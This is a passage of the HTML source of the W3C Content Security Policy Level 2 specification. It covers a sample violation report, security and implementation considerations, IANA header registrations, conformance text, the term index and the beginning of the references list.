   \n  \n    </section>\n\n  \n    <section class=\"informative\">\n    \n     <h3 class=\"heading settled\" data-level=\"8.2\" id=\"example-violation-report\"><span class=\"secno\">8.2. </span><span class=\"content\">Sample Violation Report</span><a class=\"self-link\" href=\"#example-violation-report\"></a></h3>\n     \n\n\n     <p>This section contains an example violation report the user agent\n    might sent to a server when the protected resource violations a sample\n    policy.</p>\n     \n\n\n     <p>In the following example, the user agent rendered a representation\n    of the resource <code>http://example.org/page.html</code> with the\n    following policy:</p>\n     \n\n\n     <pre><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self'; <a data-link-type=\"dfn\" href=\"#report_uri\">report-uri</a> http://example.org/csp-report.cgi</pre>\n     \n\n\n     <p>The protected resource loaded an image from\n    <code>http://evil.example.com/image.png</code>, violating the\n    policy.</p>\n     \n\n    \n     <pre>{\n  \"csp-report\": {\n    \"document-uri\": \"http://example.org/page.html\",\n    \"referrer\": \"http://evil.example.com/haxor.html\",\n    \"blocked-uri\": \"http://evil.example.com/image.png\",\n    \"violated-directive\": \"default-src 'self'\",\n    \"effective-directive\": \"img-src\",\n    \"original-policy\": \"default-src 'self'; report-uri http://example.org/csp-report.cgi\"\n  }\n}\n</pre>\n     \n  \n    </section>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"9\" id=\"security-considerations\"><span class=\"secno\">9. </span><span class=\"content\">Security Considerations</span><a class=\"self-link\" href=\"#security-considerations\"></a></h2>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"9.1\" id=\"security-css-parsing\"><span class=\"secno\">9.1. </span><span class=\"content\">Cascading Style Sheet (CSS) Parsing</span><a class=\"self-link\" href=\"#security-css-parsing\"></a></h3>\n     \n\n\n     <p>The <code><a data-link-type=\"dfn\" href=\"#style_src\">style-src</a></code> directive restricts the locations from\n    which the protected resource can load styles. However, if the user agent uses a\n    lax CSS parsing algorithm, an attacker might be able to trick the user\n    agent into accepting malicious \"stylesheets\" hosted by an otherwise\n    trustworthy origin.</p>\n     \n\n\n     <p>These attacks are similar to the <a href=\"http://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html\">CSS\n    cross-origin data leakage</a> attack described by Chris Evans in 2009.\n    User agents SHOULD defend against both attacks using the same\n    mechanism: stricter CSS parsing rules for style sheets with improper\n    MIME types.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"9.2\" id=\"security-redirects\"><span class=\"secno\">9.2. </span><span class=\"content\">Redirect Information Leakage</span><a class=\"self-link\" href=\"#security-redirects\"></a></h3>\n     \n\n\n     <p>The violation reporting mechanism in this document has been\n    designed to mitigate the risk that a malicious web site could use\n    violation reports to probe the behavior of other servers. For example,\n    consider a malicious web site that white lists <code>https://example.com</code>\n    as a source of images. If the malicious site attempts to load\n    <code>https://example.com/login</code> as an image, and the\n    <code>example.com</code> server redirects to an identity provider (e.g.,\n    <code>identityprovider.example.net</code>), CSP will block the request.\n    If violation reports contained the full blocked URL, the violation\n    report might contain sensitive information contained in the redirected URL,\n    such as session identifiers or purported identities. For this reason, the\n    user agent includes only the origin of the blocked URL.</p>\n     \n\n\n     <p>The mitigations are not complete, however: redirects which are blocked will\n    produce side-effects which may be visible to JavaScript (via\n    <code>img.naturalHeight</code>, for instance). An earlier version of this\n    specification defined a\n    <a href=\"http://www.w3.org/TR/2015/CR-CSP2-20150721/#csp-request-header\"><code>CSP</code>\n    request header</a> which servers could use (in conjunction with the\n    <code>referer</code> and <code>origin</code> headers) to determine whether\n    or not it was completely safe to redirect a user. This header caused some\n    issues with CORS processing (tracked in\n    <a href=\"https://github.com/whatwg/fetch/issues/52\">whatwg/fetch#52</a>),\n    and has been punted to the next version of this document.</p>\n     \n  \n    </section>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"10\" id=\"implementation-considerations\"><span class=\"secno\">10. </span><span class=\"content\">Implementation Considerations</span><a class=\"self-link\" href=\"#implementation-considerations\"></a></h2>\n\n\n    <p>The <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code> header is an end-to-end\n  header. It is processed and enforced at the client and, therefore,\n  SHOULD NOT be modified or removed by proxies or other intermediaries not\n  in the same administrative domain as the resource.</p>\n\n\n    <p>The originating administrative domain for a resource might wish to\n  apply a <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code> header outside of the\n  immediate context of an application. For example, a large organization\n  might have many resources and applications managed by different\n  individuals or teams but all subject to a uniform organizational\n  standard. In such situations, a <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code>\n  header might be added or combined with an existing one at a network-edge\n  security gateway device or web application firewall. To enforce multiple\n  policies, the administrator SHOULD combine the policy into a single header.\n  An administrator might wish to use different combination algorithms\n  depending on his or her intended semantics.</p>\n\n\n    <p>One sensible policy combination algorithm is to start by allowing a\n  default set of sources and then letting individual upstream resource\n  owners expand the set of allowed sources by including additional origins.\n  In this approach, the resultant policy is the union of all allowed\n  origins in the input policies.</p>\n\n\n    <p>Another sensible policy combination algorithm is to intersect the\n  given policies. This approach enforces that content comes from a certain\n  whitelist of origins, for example, preventing developers from including\n  third-party scripts or content in violation of organizational standards\n  and practices. In this approach, the combination algorithm forms the\n  combined policy by removing disallowed hosts from the policies supplied\n  by upstream resource owners.</p>\n\n\n    <p>Interactions between the <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> and other directives\n  SHOULD be given special consideration when combining policies. If none\n  of the policies contains a <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> directive, adding new\n  src directives results in a more restrictive policy. However, if one or\n  more of the input policies contain a <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> directive,\n  adding new src directives might result in a less restrictive policy, for\n  example, if the more specific directive contains a more permissive set of\n  allowed origins.</p>\n\n\n    <p>Using a more restrictive policy than the input policy authored by the\n  resource owner might prevent the resource from rendering or operating as\n  intended.</p>\n\n\n    <p class=\"note\" role=\"note\">Note: Migration to <code>HTTPS</code> from <code>HTTP</code>\n  may require updates to the policy in order to keep things running as\n  before. Source expressions like <code>http://example.com</code> do\n  <em>not</em> match <code>HTTPS</code> resources. For example,\n  administrators SHOULD carefully examine existing policies before rolling\n  out <a href=\"https://tools.ietf.org/html/rfc6797\">HTTP Strict Transport Security</a>\n  headers for an application. <a data-link-type=\"biblio\" href=\"#biblio-rfc6797\">[RFC6797]</a></p>\n\n  \n    <div class=\"note\" role=\"note\">\n    Server administrators MAY wish to send multiple policies if different\n    reporting options are desired for subsets of an overall policy. For instance,\n    the following headers:\n\n    \n     <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a> https://example.com/ \nContent-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> https:; report-uri https://example.com/\n</pre>\n     \n\n\n     <p>would send violation reports for <code>http</code> resources, but would not\n    send violation reports for <code><a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a></code> violations.\n    Note also that combining them via '<code>,</code>' into the single header</p>\n     \n\n    \n     <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a> https://example.com/, <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> https:; report-uri https://example.com/\n</pre>\n     \n\n\n     <p>would have the same effect, as the comma splits the header during parsing.</p>\n     \n  \n    </div>\n\n  \n    <h3 class=\"heading settled\" data-level=\"10.1\" id=\"complications\"><span class=\"secno\">10.1. </span><span class=\"content\">Processing Complications</span><a class=\"self-link\" href=\"#complications\"></a></h3>\n\n\n    <p>Many user agents implement some form of optimistic resource fetching algorithm\n  to speed up page loads. In implementing these features, user agents MUST\n  ensure that these optimizations do not alter the behavior of the page’s\n  security policy.</p>\n\n\n    <p>Here, we’ll note a few potential complications that could cause bugs in\n  implementations:</p>\n\n  \n    <ol>\n    \n     <li>\n      The <a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestor</a> directive MUST take effect before a document is\n      loaded into a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a>, and certainly before script\n      is potentially executed. One way to approach this constraint is to perform\n      the ancestor check defined in <a href=\"#directive-frame-ancestors\">§7.7 frame-ancestors</a> while parsing\n      the document’s headers. This might mean that no document object is\n      available at all, which can complicate checks against <code>'self'</code>,\n      and <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-scheme\">scheme</a>- or <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-port\">port</a>-relative source expressions.\n    \n     \n    \n     <li>\n      Likewise, the <code>Link</code> HTTP response header could generate\n      requests for stylesheet resources before a document is available. User\n      agents MUST ensure that any policy contained in the response headers is\n      parsed and effective <em>before</em> these requests are generated. For\n      example, a response returning the following headers:\n\n      \n      <pre>Content-Security-Policy: style-src 'none'\nLink: &lt;awesome.css>; rel=stylesheet\n</pre>\n      \n\n\n      <p>MUST have the same behavior as a response returning the following headers:</p>\n      \n\n      \n      <pre>Link: &lt;awesome.css>; rel=stylesheet\nContent-Security-Policy: style-src 'none'\n</pre>\n      \n\n\n      <p>namely, both must block requests for the stylesheet. To fulfil this\n      requirement user agents MUST wait until all headers have been processed\n      before beginning to prefetch resources.</p>\n      \n    \n     \n  \n    </ol>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"11\" id=\"iana-considerations\"><span class=\"secno\">11. </span><span class=\"content\">IANA Considerations</span><a class=\"self-link\" href=\"#iana-considerations\"></a></h2>\n\n\n    <p>The permanent message header field registry should be updated\n  with the following registrations: <a data-link-type=\"biblio\" href=\"#biblio-rfc3864\">[RFC3864]</a></p>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"11.1\" id=\"iana-content-security-policy\"><span class=\"secno\">11.1. </span><span class=\"content\">Content-Security-Policy</span><a class=\"self-link\" href=\"#iana-content-security-policy\"></a></h3>\n     \n\n    \n     <dl>\n      \n      <dt>Header field name\n      \n      \n      <dd>Content-Security-Policy\n      \n\n      \n      <dt>Applicable protocol\n      \n      \n      <dd>http\n      \n\n      \n      <dt>Status\n      \n      \n      <dd>standard\n      \n\n      \n      <dt>Author/Change controller\n      \n      \n      <dd>W3C\n      \n\n      \n      <dt>Specification document\n      \n      \n      <dd>This specification (See <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code>\n      Header Field)\n      \n    \n     </dl>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"11.2\" id=\"iana-content-security-policy-report-only\"><span class=\"secno\">11.2. </span><span class=\"content\">Content-Security-Policy-Report-Only</span><a class=\"self-link\" href=\"#iana-content-security-policy-report-only\"></a></h3>\n     \n\n    \n     <dl>\n      \n      <dt>Header field name\n      \n      \n      <dd>Content-Security-Policy-Report-Only\n      \n\n      \n      <dt>Applicable protocol\n      \n      \n      <dd>http\n      \n\n      \n      <dt>Status\n      \n      \n      <dd>standard\n      \n\n      \n      <dt>Author/Change controller\n      \n      \n      <dd>W3C\n      \n\n      \n      <dt>Specification document\n      \n      \n      <dd>This specification (See\n      <code><a data-link-type=\"dfn\" href=\"#content_security_policy_report_only\">Content-Security-Policy-Report-Only</a></code> Header Field)\n      \n    \n     </dl>\n     \n  \n    </section>\n</section>\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"12\" id=\"acknowledgements\"><span class=\"secno\">12. </span><span class=\"content\">Acknowledgements</span><a class=\"self-link\" href=\"#acknowledgements\"></a></h2>\n\n\n    <p>In addition to the documents in the W3C Web Application Security working\n  group, the work on this document is also informed by the work of the\n  <a href=\"https://tools.ietf.org/wg/websec/\">IETF websec working group</a>,\n  particularly that working group’s requirements document:\n  <a href=\"https://tools.ietf.org/id/draft-hodges-websec-framework-reqs\">draft-hodges-websec-framework-reqs</a>.</p>\n\n\n    <p>A portion of the <code><a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a></code> directive was\n  originally developed as <code>X-Frame-Options</code>. <a data-link-type=\"biblio\" href=\"#biblio-rfc7034\">[RFC7034]</a></p>\n\n\n    <p>Brian Smith, Neil Matatall, Anne van Kesteren, and Sigbjørn Vik provided\n  particularly insightful feedback to keep this specification sane.</p>\n</section>\n\n</main>\n\n  <h2 class=\"no-ref no-num heading settled\" id=\"conformance\"><span class=\"content\">Conformance</span><a class=\"self-link\" href=\"#conformance\"></a></h2>\n\n\n  <h3 class=\"no-ref no-num heading settled\" id=\"conventions\"><span class=\"content\">Document conventions</span><a class=\"self-link\" href=\"#conventions\"></a></h3>\n\n    \n  <p>Conformance requirements are expressed with a combination of\n    descriptive assertions and RFC 2119 terminology. The key words \"MUST\",\n    \"MUST NOT\", \"REQUIRED\", \"SHALL\", \"SHALL NOT\", \"SHOULD\", \"SHOULD NOT\",\n    \"RECOMMENDED\", \"MAY\", and \"OPTIONAL\" in the normative parts of this\n    document are to be interpreted as described in RFC 2119.\n    However, for readability, these words do not appear in all uppercase\n    letters in this specification.\n\n    </p>\n  <p>All of the text of this specification is normative except sections\n    explicitly marked as non-normative, examples, and notes. <a data-link-type=\"biblio\" href=\"#biblio-rfc2119\">[RFC2119]</a></p>\n\n    \n  <p>Examples in this specification are introduced with the words \"for example\"\n    or are set apart from the normative text with <code>class=\"example\"</code>,\n    like this:\n\n    </p>\n  <div class=\"example\" id=\"example-f839f6c8\"><a class=\"self-link\" href=\"#example-f839f6c8\"></a>\n        \n   <p>This is an example of an informative example.</p>\n   \n    \n  </div>\n\n    \n  <p>Informative notes begin with the word \"Note\" and are set apart from the\n    normative text with <code>class=\"note\"</code>, like this:\n\n    </p>\n  <p class=\"note\" role=\"note\">Note, this is an informative note.</p>\n\n\n  <h3 class=\"no-ref no-num heading settled\" id=\"conformant-algorithms\"><span class=\"content\">Conformant Algorithms</span><a class=\"self-link\" href=\"#conformant-algorithms\"></a></h3>\n\n    \n  <p>Requirements phrased in the imperative as part of algorithms (such as\n    \"strip any leading space characters\" or \"return false and abort these\n    steps\") are to be interpreted with the meaning of the key word (\"must\",\n    \"should\", \"may\", etc) used in introducing the algorithm.</p>\n\n    \n  <p>Conformance requirements phrased as algorithms or specific steps can be\n    implemented in any manner, so long as the end result is equivalent. In\n    particular, the algorithms defined in this specification are intended to\n    be easy to understand and are not intended to be performant. Implementers\n    are encouraged to optimize.</p>\n\n\n  <h3 class=\"no-ref no-num heading settled\" id=\"conformance-classes\"><span class=\"content\">Conformance Classes</span><a class=\"self-link\" href=\"#conformance-classes\"></a></h3>\n\n    \n  <p>A <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"conformant-user-agent\">conformant user agent<a class=\"self-link\" href=\"#conformant-user-agent\"></a></dfn> must implement all the requirements\n    listed in this specification that are applicable to user agents.</p>\n\n    \n  <p>A <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"conformant-server\">conformant server<a class=\"self-link\" href=\"#conformant-server\"></a></dfn> must implement all the requirements listed\n    in this specification that are applicable to servers.</p>\n\n\n\n\n  <h2 class=\"no-num heading settled\" id=\"index\"><span class=\"content\">Index</span><a class=\"self-link\" href=\"#index\"></a></h2>\n  <h3 class=\"no-num heading settled\" id=\"index-defined-here\"><span class=\"content\">Terms defined by this specification</span><a class=\"self-link\" href=\"#index-defined-here\"></a></h3>\n  <ul class=\"indexlist\">\n   <li><a href=\"#allowed-base-urls\">allowed base URLs</a><span>, in §7.1</span>\n   <li><a href=\"#allowed-child-sources\">allowed child sources</a><span>, in §7.2</span>\n   <li><a href=\"#allowed-connection-targets\">allowed connection targets</a><span>, in §7.3</span>\n   <li><a href=\"#allowed-font-sources\">allowed font sources</a><span>, in §7.5</span>\n   <li><a href=\"#allowed-form-actions\">allowed form actions</a><span>, in §7.6</span>\n   <li><a href=\"#allowed-frame-ancestors\">allowed frame ancestors</a><span>, in §7.7</span>\n   <li><a href=\"#allowed-frame-sources\">allowed frame sources</a><span>, in §7.8</span>\n   <li><a href=\"#allowed-image-sources\">allowed image sources</a><span>, in §7.9</span>\n   <li><a href=\"#allowed-media-sources\">allowed media sources</a><span>, in §7.10</span>\n   <li><a href=\"#allowed-object-sources\">allowed object sources</a><span>, in §7.11</span>\n   <li><a href=\"#allowed-plugin-media-types\">allowed plugin media types</a><span>, in §7.12</span>\n   <li><a href=\"#allowed-script-sources\">allowed script sources</a><span>, in §7.15</span>\n   <li><a href=\"#allowed-style-sources\">allowed style sources</a><span>, in §7.16</span>\n   <li><a href=\"#alpha\">ALPHA</a><span>, in §2.4</span>\n   <li><a href=\"#ancestor_source\">ancestor-source</a><span>, in §7.7</span>\n   <li><a href=\"#ancestor_source_list\">ancestor-source-list</a><span>, in §7.7</span>\n   <li><a href=\"#base64_value\">base64-value</a><span>, in §4.2</span>\n   <li><a href=\"#base_uri\">base-uri</a><span>, in §7.1</span>\n   <li>blockedURI\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-blockeduri\">attribute for SecurityPolicyViolationEvent</a><span>, in §6.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-blockeduri\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §6.2</span>\n    </ul>\n   <li><a href=\"#callable\">callable</a><span>, in §2.3</span>\n   <li><a href=\"#callers\">callers</a><span>, in §2.3</span>\n   <li><a href=\"#child_src\">child-src</a><span>, in §7.2</span>\n   <li>columnNumber\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-columnnumber\">attribute for SecurityPolicyViolationEvent</a><span>, in §6.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-columnnumber\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §6.2</span>\n    </ul>\n   <li><a href=\"#conformant-server\">conformant server</a><span>, in §Unnumbered section</span>\n   <li><a href=\"#conformant-user-agent\">conformant user agent</a><span>, in §Unnumbered section</span>\n   <li><a href=\"#connect_src\">connect-src</a><span>, in §7.3</span>\n   <li><a href=\"#content_security_policy\">Content-Security-Policy</a><span>, in §3.1</span>\n   <li><a href=\"#content_security_policy_report_only\">Content-Security-Policy-Report-Only</a><span>, in §3.2</span>\n   <li><a href=\"#content-security-policy-task-source\">Content Security Policy task\n          source</a><span>, in §4.4</span>\n   <li><a href=\"#default-sources\">default sources</a><span>, in §7.4</span>\n   <li><a href=\"#default_src\">default-src</a><span>, in §7.4</span>\n   <li><a href=\"#digest-of-elements-content\">digest of element’s content</a><span>, in §4.2.5</span>\n   <li><a href=\"#digit\">DIGIT</a><span>, in §2.4</span>\n   <li><a href=\"#security-policy-directive\">directive</a><span>, in §2.1</span>\n   <li><a href=\"#security-policy-directive-name\">directive name</a><span>, in §2.1</span>\n   <li><a href=\"#directive_name\">directive-name</a><span>, in §4.1</span>\n   <li><a href=\"#directive_token\">directive-token</a><span>, in §4.1</span>\n   <li><a href=\"#directive_value\">directive-value</a><span>, in §4.1</span>\n   <li><a href=\"#security-policy-directive-value\">directive value</a><span>, in §2.1</span>\n   <li>documentURI\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-documenturi\">attribute for SecurityPolicyViolationEvent</a><span>, in §6.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-documenturi\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §6.2</span>\n    </ul>\n   <li>effectiveDirective\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-effectivedirective\">attribute for SecurityPolicyViolationEvent</a><span>, in §6.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-effectivedirective\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §6.2</span>\n    </ul>\n   <li><a href=\"#elements-content\">element’s content</a><span>, in §4.2.5</span>\n   <li><a href=\"#enforce\">enforce</a><span>, in §5</span>\n   <li><a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-eventinitdict\">eventInitDict</a><span>, in §6.1</span>\n   <li><a href=\"#fire-a-violation-event\">fire a violation event</a><span>, in §6.3</span>\n   <li><a href=\"#font_src\">font-src</a><span>, in §7.5</span>\n   <li><a href=\"#form_action\">form-action</a><span>, in §7.6</span>\n   <li><a href=\"#frame_ancestors\">frame-ancestors</a><span>, in §7.7</span>\n   <li><a href=\"#frame_src\">frame-src</a><span>, in §7.8</span>\n   <li><a href=\"#generate-a-violation-report-object\">generate a violation report object</a><span>, in §4.4</span>\n   <li><a href=\"#generate-a-violation-report-object\">generating a violation report object</a><span>, in §4.4</span>\n   <li><a href=\"#globally-unique-identifier\">globally unique identifier</a><span>, in §2.2</span>\n   <li><a href=\"#hash_algo\">hash-algo</a><span>, in §4.2</span>\n   <li><a href=\"#hash_source\">hash-source</a><span>, in §4.2</span>\n   <li><a href=\"#hash_value\">hash-value</a><span>, in §4.2</span>\n   <li><a href=\"#host_char\">host-char</a><span>, in §4.2</span>\n   <li><a href=\"#host_part\">host-part</a><span>, in §4.2</span>\n   <li><a href=\"#host_source\">host-source</a><span>, in §4.2</span>\n   <li><a href=\"#http-200-response\">HTTP 200 response</a><span>, in §2.2</span>\n   <li><a href=\"#img_src\">img-src</a><span>, in §7.9</span>\n   <li><a href=\"#json-object\">JSON object</a><span>, in §2.2</span>\n   <li><a href=\"#json-stringification\">JSON stringification</a><span>, in §2.2</span>\n   <li><a href=\"#keyword_source\">keyword-source</a><span>, in §4.2</span>\n   <li>lineNumber\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-linenumber\">attribute for SecurityPolicyViolationEvent</a><span>, in §6.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-linenumber\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §6.2</span>\n    </ul>\n   <li><a href=\"#match-a-media-type-list\">match a media type list</a><span>, in §4.3.2</span>\n   <li><a href=\"#match-a-source-expression\">match a source expression</a><span>, in §4.2.2</span>\n   <li><a href=\"#match-a-source-list\">match a source list</a><span>, in §4.2.2</span>\n   <li><a href=\"#media_src\">media-src</a><span>, in §7.10</span>\n   <li><a href=\"#media-type\">media type</a><span>, in §4.3</span>\n   <li><a href=\"#media_type\">media-type</a><span>, in §4.3</span>\n   <li><a href=\"#media-type-list\">media type list</a><span>, in §4.3</span>\n   <li><a href=\"#media_type_list\">media-type-list</a><span>, in §4.3</span>\n   <li><a href=\"#monitor\">monitor</a><span>, in §5</span>\n   <li>nonce\n    <ul>\n     <li><a href=\"#dom-htmlscriptelement-nonce\">attribute for HTMLScriptElement</a><span>, in §4.2.3</span>\n     <li><a href=\"#element-attrdef-script-nonce\">element-attr for script</a><span>, in §4.2.3</span>\n     <li><a href=\"#dom-htmlstyleelement-nonce\">attribute for HTMLStyleElement</a><span>, in §4.2.3</span>\n     <li><a href=\"#element-attrdef-style-nonce\">element-attr for style</a><span>, in §4.2.3</span>\n    </ul>\n   <li><a href=\"#nonce_source\">nonce-source</a><span>, in §4.2</span>\n   <li><a href=\"#nonce_value\">nonce-value</a><span>, in §4.2</span>\n   <li><a href=\"#object_src\">object-src</a><span>, in §7.11</span>\n   <li><a href=\"#origin\">origin</a><span>, in §2.2</span>\n   <li>originalPolicy\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-originalpolicy\">attribute for SecurityPolicyViolationEvent</a><span>, in §6.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-originalpolicy\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §6.2</span>\n    </ul>\n   <li><a href=\"#parse-a-media-type-list\">parse a media type list</a><span>, in §4.3.1</span>\n   <li><a href=\"#parse-a-source-list\">parse a source list</a><span>, in §4.2.1</span>\n   <li><a href=\"#parse-the-policy\">parse the policy</a><span>, in §4.1.1</span>\n   <li><a href=\"#path_part\">path-part</a><span>, in §4.2</span>\n   <li><a href=\"#plugin_types\">plugin-types</a><span>, in §7.12</span>\n   <li><a href=\"#security-policy\">policy</a><span>, in §2.1</span>\n   <li><a href=\"#policy_token\">policy-token</a><span>, in §4.1</span>\n   <li><a href=\"#port_part\">port-part</a><span>, in §4.2</span>\n   <li><a href=\"#protected-resource\">protected resource</a><span>, in §2.1</span>\n   <li>referrer\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-referrer\">attribute for SecurityPolicyViolationEvent</a><span>, in §6.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-referrer\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §6.2</span>\n    </ul>\n   <li><a href=\"#report-a-violation\">report a violation</a><span>, in §4.4</span>\n   <li><a href=\"#report_uri\">report-uri</a><span>, in §7.13</span>\n   <li><a href=\"#resource-representation\">representation</a><span>, in §2.2</span>\n   <li><a href=\"#resource-representation\">resource representation</a><span>, in §2.2</span>\n   <li><a href=\"#runs-a-worker\">runs a worker</a><span>, in §2.3</span>\n   <li><a href=\"#sandbox\">sandbox</a><span>, in §7.14</span>\n   <li><a href=\"#sandbox_token\">sandbox-token</a><span>, in §7.14</span>\n   <li><a href=\"#scheme_part\">scheme-part</a><span>, in §4.2</span>\n   <li><a href=\"#scheme_source\">scheme-source</a><span>, in §4.2</span>\n   <li><a href=\"#script_src\">script-src</a><span>, in §7.15</span>\n   <li><a href=\"#security-policy\">security policy</a><span>, in §2.1</span>\n   <li><a href=\"#security-policy-directive\">security policy directive</a><span>, in §2.1</span>\n   <li><a href=\"#security-policy-directive-name\">security policy directive name</a><span>, in §2.1</span>\n   <li><a href=\"#security-policy-directive-value\">security policy directive value</a><span>, in §2.1</span>\n   <li><a href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a><span>, in §6.1</span>\n   <li><a href=\"#dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit</a><span>, in §6.2</span>\n   <li><a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent\">SecurityPolicyViolationEvent(type, eventInitDict)</a><span>, in §6.1</span>\n   <li><a href=\"#send-violation-reports\">send violation reports</a><span>, in §4.4</span>\n   <li><a href=\"#set-of-report-urls\">set of report URLs</a><span>, in §7.13</span>\n   <li><a href=\"#sha_256\">SHA-256</a><span>, in §2.2</span>\n   <li><a href=\"#sha_384\">SHA-384</a><span>, in §2.2</span>\n   <li><a href=\"#sha_512\">SHA-512</a><span>, in §2.2</span>\n   <li><a href=\"#source_expression\">source-expression</a><span>, in §4.2</span>\n   <li><a href=\"#source-expression\">source expression</a><span>, in §4.2</span>\n   <li><a href=\"#source_file\">source-file</a><span>, in §4.4</span>\n   <li>sourceFile\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-sourcefile\">attribute for SecurityPolicyViolationEvent</a><span>, in §6.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-sourcefile\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §6.2</span>\n    </ul>\n   <li><a href=\"#source_list\">source-list</a><span>, in §4.2</span>\n   <li><a href=\"#source-list\">source\n    list</a><span>, in §4.2</span>\n   <li><a href=\"#dom-securitypolicyviolationevent-statuscode\">statusCode</a><span>, in §6.1</span>\n   <li><a href=\"#strip-uri-for-reporting\">stripped for reporting</a><span>, in §4.4</span>\n   <li><a href=\"#strip-uri-for-reporting\">strip uri for reporting</a><span>, in §4.4</span>\n   <li><a href=\"#style_src\">style-src</a><span>, in §7.16</span>\n   <li><a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-type\">type</a><span>, in §6.1</span>\n   <li><a href=\"#uri_reference\">uri-reference</a><span>, in §7.13</span>\n   <li><a href=\"#url\">URL</a><span>, in §2.2</span>\n   <li><a href=\"#valid-hash\">valid hash</a><span>, in §4.2.5</span>\n   <li><a href=\"#valid-nonce\">valid nonce</a><span>, in §4.2.4</span>\n   <li><a href=\"#vchar\">VCHAR</a><span>, in §2.4</span>\n   <li>violatedDirective\n    <ul>\n     <li><a href=\"#dom-securitypolicyviolationevent-violateddirective\">attribute for SecurityPolicyViolationEvent</a><span>, in §6.1</span>\n     <li><a href=\"#dom-securitypolicyviolationeventinit-violateddirective\">dict-member for SecurityPolicyViolationEventInit</a><span>, in §6.2</span>\n    </ul>\n   <li><a href=\"#wsp\">WSP</a><span>, in §2.4</span></ul>\n  <h3 class=\"no-num heading settled\" id=\"index-defined-elsewhere\"><span class=\"content\">Terms defined by reference</span><a class=\"self-link\" href=\"#index-defined-elsewhere\"></a></h3>\n  <ul class=\"indexlist\">\n   <li><a data-link-type=\"biblio\" href=\"#biblio-css-images-3\">[css-images-3]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://drafts.csswg.org/css-images-3/#funcdef-image-set\">image-set()</a>\n    </ul>\n   <li><a data-link-type=\"biblio\" href=\"#biblio-css-images-4\">[css-images-4]</a> defines the following terms:\n    <ul>\n     <li><a href=\"https://drafts.csswg.org/css-images-4/#funcdef-image\">image()</a>\n    </ul>\n   <li><a data-link-type=\"biblio\" href=\"#biblio-webidl\">[WebIDL]</a> defines the following terms:\n    <ul>\n     <li><a href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>\n    </ul></ul>\n  <h2 class=\"no-num heading settled\" id=\"references\"><span class=\"content\">References</span><a class=\"self-link\" href=\"#references\"></a></h2>\n  <h3 class=\"no-num heading settled\" id=\"normative\"><span class=\"content\">Normative References</span><a class=\"self-link\" href=\"#normative\"></a></h3>\n  <dl>\n   <dt id=\"biblio-abnf\"><a class=\"self-link\" href=\"#biblio-abnf\"></a>[ABNF]\n   <dd>Dave Crocker; Paul Overell. <a href=\"http://www.ietf.org/rfc/rfc5234.txt\">Augmented BNF for Syntax Specifications: ABNF</a>. RFC. URL: <a 